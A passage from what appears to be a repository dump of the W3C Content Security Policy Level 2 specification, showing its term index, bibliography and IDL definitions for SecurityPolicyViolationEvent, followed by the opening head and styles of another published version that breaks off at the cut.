class=\"self-link\" href=\"#index-defined-here\"></a></h3>\n  <ul class=\"indexlist\">\n   <li>allowed base URLs, <a href=\"#allowed-base-urls\">7.1</a>\n   <li>allowed child sources, <a href=\"#allowed-child-sources\">7.2</a>\n   <li>allowed connection targets, <a href=\"#allowed-connection-targets\">7.3</a>\n   <li>allowed font sources, <a href=\"#allowed-font-sources\">7.5</a>\n   <li>allowed form actions, <a href=\"#allowed-form-actions\">7.6</a>\n   <li>allowed frame ancestors, <a href=\"#allowed-frame-ancestors\">7.7</a>\n   <li>allowed frame sources, <a href=\"#allowed-frame-sources\">7.8</a>\n   <li>allowed image sources, <a href=\"#allowed-image-sources\">7.9</a>\n   <li>allowed media sources, <a href=\"#allowed-media-sources\">7.10</a>\n   <li>allowed object sources, <a href=\"#allowed-object-sources\">7.11</a>\n   <li>allowed plugin media types, <a href=\"#allowed-plugin-media-types\">7.12</a>\n   <li>allowed script sources, <a href=\"#allowed-script-sources\">7.15</a>\n   <li>allowed style sources, <a href=\"#allowed-style-sources\">7.16</a>\n   <li>ALPHA, <a href=\"#alpha\">2.4</a>\n   <li>ancestor-source, <a href=\"#ancestor_source\">7.7</a>\n   <li>ancestor-source-list, <a href=\"#ancestor_source_list\">7.7</a>\n   <li>base64-value, <a href=\"#base64_value\">4.2</a>\n   <li>base-uri, <a href=\"#base_uri\">7.1</a>\n   <li>blockedURI\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-blockeduri\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-blockeduri\">6.2</a>\n    </ul>\n   <li>callable, <a href=\"#callable\">2.3</a>\n   <li>callers, <a href=\"#callers\">2.3</a>\n   <li>child-src, <a href=\"#child_src\">7.2</a>\n   <li>columnNumber\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-columnnumber\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-columnnumber\">6.2</a>\n    </ul>\n   <li>conformant server, <a href=\"#conformant-server\">Unnumbered section</a>\n   <li>conformant user agent, <a href=\"#conformant-user-agent\">Unnumbered section</a>\n   <li>connect-src, <a href=\"#connect_src\">7.3</a>\n   <li>Content-Security-Policy, <a href=\"#content_security_policy\">3.1</a>\n   <li>Content-Security-Policy-Report-Only, <a href=\"#content_security_policy_report_only\">3.2</a>\n   <li>Content Security Policy task\n          source, <a href=\"#content-security-policy-task-source\">4.4</a>\n   <li>CSP, <a href=\"#csp\">3.4</a>\n   <li>csp-header-value, <a href=\"#csp_header_value\">3.4</a>\n   <li>default sources, <a href=\"#default-sources\">7.4</a>\n   <li>default-src, <a href=\"#default_src\">7.4</a>\n   <li>digest of element’s content, <a href=\"#digest-of-elements-content\">4.2.5</a>\n   <li>DIGIT, <a href=\"#digit\">2.4</a>\n   <li>directive, <a href=\"#security-policy-directive\">2.1</a>\n   <li>directive name, <a href=\"#security-policy-directive-name\">2.1</a>\n   <li>directive-name, <a href=\"#directive_name\">4.1</a>\n   <li>directive-token, <a href=\"#directive_token\">4.1</a>\n   <li>directive-value, <a href=\"#directive_value\">4.1</a>\n   <li>directive value, <a href=\"#security-policy-directive-value\">2.1</a>\n   <li>documentURI\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-documenturi\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-documenturi\">6.2</a>\n    </ul>\n   <li>effectiveDirective\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-effectivedirective\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">6.2</a>\n    </ul>\n   <li>element’s content, <a href=\"#elements-content\">4.2.5</a>\n   <li>enforce, <a href=\"#enforce\">5</a>\n   <li>eventInitDict, <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">6.1</a>\n   <li>fire a violation event, <a href=\"#fire-a-violation-event\">6.3</a>\n   <li>font-src, <a href=\"#font_src\">7.5</a>\n   <li>form-action, <a href=\"#form_action\">7.6</a>\n   <li>frame-ancestors, <a href=\"#frame_ancestors\">7.7</a>\n   <li>frame-src, <a href=\"#frame_src\">7.8</a>\n   <li>generate a violation report object, <a href=\"#generate-a-violation-report-object\">4.4</a>\n   <li>generating a violation report object, <a href=\"#generate-a-violation-report-object\">4.4</a>\n   <li>globally unique identifier, <a href=\"#globally-unique-identifier\">2.2</a>\n   <li>hash-algo, <a href=\"#hash_algo\">4.2</a>\n   <li>hash-source, <a href=\"#hash_source\">4.2</a>\n   <li>hash-value, <a href=\"#hash_value\">4.2</a>\n   <li>host-char, <a href=\"#host_char\">4.2</a>\n   <li>host-part, <a href=\"#host_part\">4.2</a>\n   <li>host-source, <a href=\"#host_source\">4.2</a>\n   <li>HTTP 200 response, <a href=\"#http-200-response\">2.2</a>\n   <li>img-src, <a href=\"#img_src\">7.9</a>\n   <li>JSON object, <a href=\"#json-object\">2.2</a>\n   <li>JSON stringification, <a href=\"#json-stringification\">2.2</a>\n   <li>keyword-source, <a href=\"#keyword_source\">4.2</a>\n   <li>lineNumber\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-linenumber\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-linenumber\">6.2</a>\n    </ul>\n   <li>match a media type list, <a href=\"#match-a-media-type-list\">4.3.2</a>\n   <li>match a source expression, <a href=\"#match-a-source-expression\">4.2.2</a>\n   <li>match a source list, <a href=\"#match-a-source-list\">4.2.2</a>\n   <li>media-src, <a href=\"#media_src\">7.10</a>\n   <li>media type, <a href=\"#media-type\">4.3</a>\n   <li>media-type, <a href=\"#media_type\">4.3</a>\n   <li>media type list, <a href=\"#media-type-list\">4.3</a>\n   <li>media-type-list, <a href=\"#media_type_list\">4.3</a>\n   <li>monitor, <a href=\"#monitor\">5</a>\n   <li>nonce\n    <ul>\n     <li>attribute for HTMLScriptElement, <a href=\"#dom-htmlscriptelement-nonce\">4.2.3</a>\n     <li>element-attr for script, <a href=\"#element-attrdef-script-nonce\">4.2.3</a>\n     <li>attribute for HTMLStyleElement, <a href=\"#dom-htmlstyleelement-nonce\">4.2.3</a>\n     <li>element-attr for style, <a href=\"#element-attrdef-style-nonce\">4.2.3</a>\n    </ul>\n   <li>nonce-source, <a href=\"#nonce_source\">4.2</a>\n   <li>nonce-value, <a href=\"#nonce_value\">4.2</a>\n   <li>object-src, <a href=\"#object_src\">7.11</a>\n   <li>origin, <a href=\"#origin\">2.2</a>\n   <li>originalPolicy\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-originalpolicy\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">6.2</a>\n    </ul>\n   <li>parse a media type list, <a href=\"#parse-a-media-type-list\">4.3.1</a>\n   <li>parse a source list, <a href=\"#parse-a-source-list\">4.2.1</a>\n   <li>parse the policy, <a href=\"#parse-the-policy\">4.1.1</a>\n   <li>path-part, <a href=\"#path_part\">4.2</a>\n   <li>plugin-types, <a href=\"#plugin_types\">7.12</a>\n   <li>policy, <a href=\"#security-policy\">2.1</a>\n   <li>policy-token, <a href=\"#policy_token\">4.1</a>\n   <li>port-part, <a href=\"#port_part\">4.2</a>\n   <li>protected resource, <a href=\"#protected-resource\">2.1</a>\n   <li>referrer\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-referrer\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-referrer\">6.2</a>\n    </ul>\n   <li>report a violation, <a href=\"#report-a-violation\">4.4</a>\n   <li>report-uri, <a href=\"#report_uri\">7.13</a>\n   <li>representation, <a href=\"#resource-representation\">2.2</a>\n   <li>resource representation, <a href=\"#resource-representation\">2.2</a>\n   <li>runs a worker, <a href=\"#runs-a-worker\">2.3</a>\n   <li>sandbox, <a href=\"#sandbox\">7.14</a>\n   <li>sandbox-token, <a href=\"#sandbox_token\">7.14</a>\n   <li>scheme-part, <a href=\"#scheme_part\">4.2</a>\n   <li>scheme-source, <a href=\"#scheme_source\">4.2</a>\n   <li>script-src, <a href=\"#script_src\">7.15</a>\n   <li>security policy, <a href=\"#security-policy\">2.1</a>\n   <li>security policy directive, <a href=\"#security-policy-directive\">2.1</a>\n   <li>security policy directive name, <a href=\"#security-policy-directive-name\">2.1</a>\n   <li>security policy directive value, <a href=\"#security-policy-directive-value\">2.1</a>\n   <li>SecurityPolicyViolationEvent, <a href=\"#securitypolicyviolationevent\">6.1</a>\n   <li>SecurityPolicyViolationEventInit, <a href=\"#dictdef-securitypolicyviolationeventinit\">6.2</a>\n   <li>SecurityPolicyViolationEvent(type, eventInitDict), <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">6.1</a>\n   <li>send violation reports, <a href=\"#send-violation-reports\">4.4</a>\n   <li>set of report URLs, <a href=\"#set-of-report-urls\">7.13</a>\n   <li>SHA-256, <a href=\"#sha_256\">2.2</a>\n   <li>SHA-384, <a href=\"#sha_384\">2.2</a>\n   <li>SHA-512, <a href=\"#sha_512\">2.2</a>\n   <li>source-expression, <a href=\"#source_expression\">4.2</a>\n   <li>source expression, <a href=\"#source-expression\">4.2</a>\n   <li>source-file, <a href=\"#source_file\">4.4</a>\n   <li>sourceFile\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-sourcefile\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">6.2</a>\n    </ul>\n   <li>source-list, <a href=\"#source_list\">4.2</a>\n   <li>source\n    list, <a href=\"#source-list\">4.2</a>\n   <li>statusCode, <a href=\"#dom-securitypolicyviolationevent-statuscode\">6.1</a>\n   <li>stripped for reporting, <a href=\"#strip-uri-for-reporting\">4.4</a>\n   <li>strip uri for reporting, <a href=\"#strip-uri-for-reporting\">4.4</a>\n   <li>style-src, <a href=\"#style_src\">7.16</a>\n   <li>type, <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">6.1</a>\n   <li>uri-reference, <a href=\"#uri_reference\">7.13</a>\n   <li>URL, <a href=\"#url\">2.2</a>\n   <li>valid hash, <a href=\"#valid-hash\">4.2.5</a>\n   <li>valid nonce, <a href=\"#valid-nonce\">4.2.4</a>\n   <li>VCHAR, <a href=\"#vchar\">2.4</a>\n   <li>violatedDirective\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-violateddirective\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">6.2</a>\n    </ul>\n   <li>WSP, <a href=\"#wsp\">2.4</a></ul>\n  <h3 class=\"no-num heading settled\" id=\"index-defined-elsewhere\"><span class=\"content\">Terms defined by reference</span><a class=\"self-link\" href=\"#index-defined-elsewhere\"></a></h3>\n  <ul class=\"indexlist\">\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-3\">[css-images-3]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://dev.w3.org/csswg/css-images-3/#funcdef-image-set\">image-set()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-css-images-4\">[css-images-4]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://dev.w3.org/csswg/css-images-4/#funcdef-image\">image()</a>\n    </ul>\n   <li><a data-link-type=\"biblio\" href=\"#biblio-webidl\">[WebIDL]</a> defines the following terms:\n    <ul>\n     <li><a href=\"http://heycam.github.io/webidl/#idl-DOMString\">DOMString</a>\n    </ul></ul>\n  <h2 class=\"no-num heading settled\" id=\"references\"><span class=\"content\">References</span><a class=\"self-link\" href=\"#references\"></a></h2>\n  <h3 class=\"no-num heading settled\" id=\"normative\"><span class=\"content\">Normative References</span><a class=\"self-link\" href=\"#normative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-abnf\"><a class=\"self-link\" href=\"#biblio-abnf\"></a>[ABNF]\n   <dd>Dave Crocker; Paul Overell. <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">Augmented BNF for Syntax Specifications: ABNF</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc5234.txt\">http://www.ietf.org/rfc/rfc5234.txt</a>\n   <dt id=\"biblio-beacon\"><a class=\"self-link\" href=\"#biblio-beacon\"></a>[BEACON]\n   <dd>Jatinder Mann; Alois Reitbauer. <a href=\"http://www.w3.org/TR/beacon/\">Beacon</a>. WD. URL: <a href=\"http://www.w3.org/TR/beacon/\">http://www.w3.org/TR/beacon/</a>\n   <dt id=\"biblio-ecma-262\"><a class=\"self-link\" href=\"#biblio-ecma-262\"></a>[ECMA-262]\n   <dd>Allen Wirfs-Brock. <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">ECMA-262 6th Edition, The ECMAScript 2015 Language Specification</a>. June 2015. Standard. URL: <a href=\"http://www.ecma-international.org/ecma-262/6.0/\">http://www.ecma-international.org/ecma-262/6.0/</a>\n   <dt id=\"biblio-html-imports\"><a class=\"self-link\" href=\"#biblio-html-imports\"></a>[HTML-IMPORTS]\n   <dd>Dmitri Glazkov; Hajime Morrita. <a href=\"http://www.w3.org/TR/html-imports/\">HTML Imports</a>. WD. URL: <a href=\"http://www.w3.org/TR/html-imports/\">http://www.w3.org/TR/html-imports/</a>\n   <dt id=\"biblio-rfc3492\"><a class=\"self-link\" href=\"#biblio-rfc3492\"></a>[RFC3492]\n   <dd>Adam M. Costello. <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">Punycode: A Bootstring encoding of Unicode for Internationalized Domain Names in Applications (IDNA)</a>. REC. URL: <a href=\"http://www.ietf.org/rfc/rfc3492.txt\">http://www.ietf.org/rfc/rfc3492.txt</a>\n   <dt id=\"biblio-rfc3864\"><a class=\"self-link\" href=\"#biblio-rfc3864\"></a>[RFC3864]\n   <dd>Graham Klyne; Mark Nottingham; Jeffrey C. Mogul. <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">Registration Procedures for Message Header Fields</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc3864.txt\">http://www.ietf.org/rfc/rfc3864.txt</a>\n   <dt id=\"biblio-rfc4627\"><a class=\"self-link\" href=\"#biblio-rfc4627\"></a>[RFC4627]\n   <dd>Douglas Crockford. <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">The 'application/json' Media Type for JavaScript Object Notation (JSON)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc4627.txt\">http://www.ietf.org/rfc/rfc4627.txt</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">The Web Origin Concept</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6454.txt\">http://www.ietf.org/rfc/rfc6454.txt</a>\n   <dt id=\"biblio-rfc7034\"><a class=\"self-link\" href=\"#biblio-rfc7034\"></a>[RFC7034]\n   <dd>David Ross; Tobias Gondrom. <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">HTTP Header Field X-Frame-Options</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7034.txt\">http://www.ietf.org/rfc/rfc7034.txt</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">HTTP/1.1 Message Syntax and Routing</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7230.txt\">http://www.ietf.org/rfc/rfc7230.txt</a>\n   <dt id=\"biblio-rfc7231\"><a class=\"self-link\" href=\"#biblio-rfc7231\"></a>[RFC7231]\n   <dd>Roy T. Fielding; Julian F. Reschke. <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">HTTP/1.1 Semantics and Content</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc7231.txt\">http://www.ietf.org/rfc/rfc7231.txt</a>\n   <dt id=\"biblio-sha2\"><a class=\"self-link\" href=\"#biblio-sha2\"></a>[SHA2]\n   <dd><a href=\"http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf\">Descriptions of SHA-256, SHA-384, and SHA-512</a>. URL: <a href=\"http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf\">http://csrc.nist.gov/groups/STM/cavp/documents/shs/sha256-384-512.pdf</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren; Sam Ruby. <a href=\"http://www.w3.org/TR/url/\">URL</a>. WD. URL: <a href=\"http://www.w3.org/TR/url/\">http://www.w3.org/TR/url/</a>\n   <dt id=\"biblio-webidl\"><a class=\"self-link\" href=\"#biblio-webidl\"></a>[WebIDL]\n   <dd>Cameron McCormack. <a href=\"http://www.w3.org/TR/WebIDL/\">Web IDL</a>. 19 April 2012. CR. URL: <a href=\"http://www.w3.org/TR/WebIDL/\">http://www.w3.org/TR/WebIDL/</a>\n   <dt id=\"biblio-xmlhttprequest\"><a class=\"self-link\" href=\"#biblio-xmlhttprequest\"></a>[XMLHttpRequest]\n   <dd>Anne van Kesteren; et al. <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">XMLHttpRequest Level 1</a>. 30 January 2014. WD. URL: <a href=\"http://www.w3.org/TR/XMLHttpRequest/\">http://www.w3.org/TR/XMLHttpRequest/</a>\n   <dt id=\"biblio-css-images-3\"><a class=\"self-link\" href=\"#biblio-css-images-3\"></a>[CSS-IMAGES-3]\n   <dd>CSS Image Values and Replaced Content Module Level 3 URL: <a href=\"http://www.w3.org/TR/css3-images/\">http://www.w3.org/TR/css3-images/</a>\n   <dt id=\"biblio-css-images-4\"><a class=\"self-link\" href=\"#biblio-css-images-4\"></a>[CSS-IMAGES-4]\n   <dd>CSS Image Values and Replaced Content Module Level 4 URL: <a href=\"http://www.w3.org/TR/css4-images/\">http://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-css3-fonts\"><a class=\"self-link\" href=\"#biblio-css3-fonts\"></a>[CSS3-FONTS]\n   <dd>John Daggett. <a href=\"http://www.w3.org/TR/css3-fonts/\">CSS Fonts Module Level 3</a>. 11 December 2012. WD. URL: <a href=\"http://www.w3.org/TR/css3-fonts/\">http://www.w3.org/TR/css3-fonts/</a>\n   <dt id=\"biblio-css4-images\"><a class=\"self-link\" href=\"#biblio-css4-images\"></a>[CSS4-IMAGES]\n   <dd>Elika Etemad; Tab Atkins Jr.. <a href=\"http://www.w3.org/TR/css4-images/\">CSS Image Values and Replaced Content Module Level 4</a>. 11 September 2012. WD. URL: <a href=\"http://www.w3.org/TR/css4-images/\">http://www.w3.org/TR/css4-images/</a>\n   <dt id=\"biblio-cssom\"><a class=\"self-link\" href=\"#biblio-cssom\"></a>[CSSOM]\n   <dd>Simon Pieters; Glenn Adams. <a href=\"http://www.w3.org/TR/cssom/\">CSS Object Model (CSSOM)</a>. 5 December 2013. WD. URL: <a href=\"http://www.w3.org/TR/cssom/\">http://www.w3.org/TR/cssom/</a>\n   <dt id=\"biblio-eventsource\"><a class=\"self-link\" href=\"#biblio-eventsource\"></a>[EVENTSOURCE]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/eventsource/\">Server-Sent Events</a>. 3 February 2015. REC. URL: <a href=\"http://www.w3.org/TR/eventsource/\">http://www.w3.org/TR/eventsource/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[HTML5]\n   <dd>Ian Hickson; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. 28 October 2014. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc3986\"><a class=\"self-link\" href=\"#biblio-rfc3986\"></a>[RFC3986]\n   <dd>T. Berners-Lee; R. Fielding; L. Masinter. <a href=\"https://tools.ietf.org/html/rfc3986\">Uniform Resource Identifier (URI): Generic Syntax</a>. January 2005. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc3986\">https://tools.ietf.org/html/rfc3986</a>\n   <dt id=\"biblio-rfc5988\"><a class=\"self-link\" href=\"#biblio-rfc5988\"></a>[RFC5988]\n   <dd>M. Nottingham. <a href=\"https://tools.ietf.org/html/rfc5988\">Web Linking</a>. October 2010. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5988\">https://tools.ietf.org/html/rfc5988</a>\n   <dt id=\"biblio-websockets\"><a class=\"self-link\" href=\"#biblio-websockets\"></a>[WEBSOCKETS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/websockets/\">The WebSocket API</a>. 20 September 2012. CR. URL: <a href=\"http://www.w3.org/TR/websockets/\">http://www.w3.org/TR/websockets/</a>\n   <dt id=\"biblio-workers\"><a class=\"self-link\" href=\"#biblio-workers\"></a>[WORKERS]\n   <dd>Ian Hickson. <a href=\"http://www.w3.org/TR/workers/\">Web Workers</a>. 1 May 2012. CR. URL: <a href=\"http://www.w3.org/TR/workers/\">http://www.w3.org/TR/workers/</a>\n   <dt id=\"biblio-xml11\"><a class=\"self-link\" href=\"#biblio-xml11\"></a>[XML11]\n   <dd>Tim Bray; et al. <a href=\"http://www.w3.org/TR/xml11/\">Extensible Markup Language (XML) 1.1 (Second Edition)</a>. 16 August 2006. REC. URL: <a href=\"http://www.w3.org/TR/xml11/\">http://www.w3.org/TR/xml11/</a>\n   <dt id=\"biblio-xslt\"><a class=\"self-link\" href=\"#biblio-xslt\"></a>[XSLT]\n   <dd>James Clark. <a href=\"http://www.w3.org/TR/xslt\">XSL Transformations (XSLT) Version 1.0</a>. 16 November 1999. REC. URL: <a href=\"http://www.w3.org/TR/xslt\">http://www.w3.org/TR/xslt</a></dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-rfc6797\"><a class=\"self-link\" href=\"#biblio-rfc6797\"></a>[RFC6797]\n   <dd>Jeff Hodges; Collin Jackson; Adam Barth. <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">HTTP Strict Transport Security (HSTS)</a>. RFC. URL: <a href=\"http://www.ietf.org/rfc/rfc6797.txt\">http://www.ietf.org/rfc/rfc6797.txt</a>\n   <dt id=\"biblio-uiredress\"><a class=\"self-link\" href=\"#biblio-uiredress\"></a>[UIREDRESS]\n   <dd>Giorgio Maone; et al. <a href=\"http://www.w3.org/TR/UISecurity/\">User Interface Security Directives for Content Security Policy</a>. WD. URL: <a href=\"http://www.w3.org/TR/UISecurity/\">http://www.w3.org/TR/UISecurity/</a></dl>\n  <h2 class=\"no-num heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n  <pre class=\"idl\">partial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n\npartial interface <a class=\"idl-code\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n\n[<a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent\">Constructor</a>(DOMString <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-type\">type</a>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationevent-type-eventinitdict-eventinitdict\">eventInitDict</a>)]\ninterface <a href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n\ndictionary <a href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n\n</pre></body>\n</html>"
  },
  {
    "path": "2/published/2015-08-PR.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n <head>\n  \n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  \n  \n  <title>Content Security Policy Level 2</title>\n  \n  \n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  \n  \n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-PR\" rel=\"stylesheet\" type=\"text/css\">\n  \n\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n  <style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 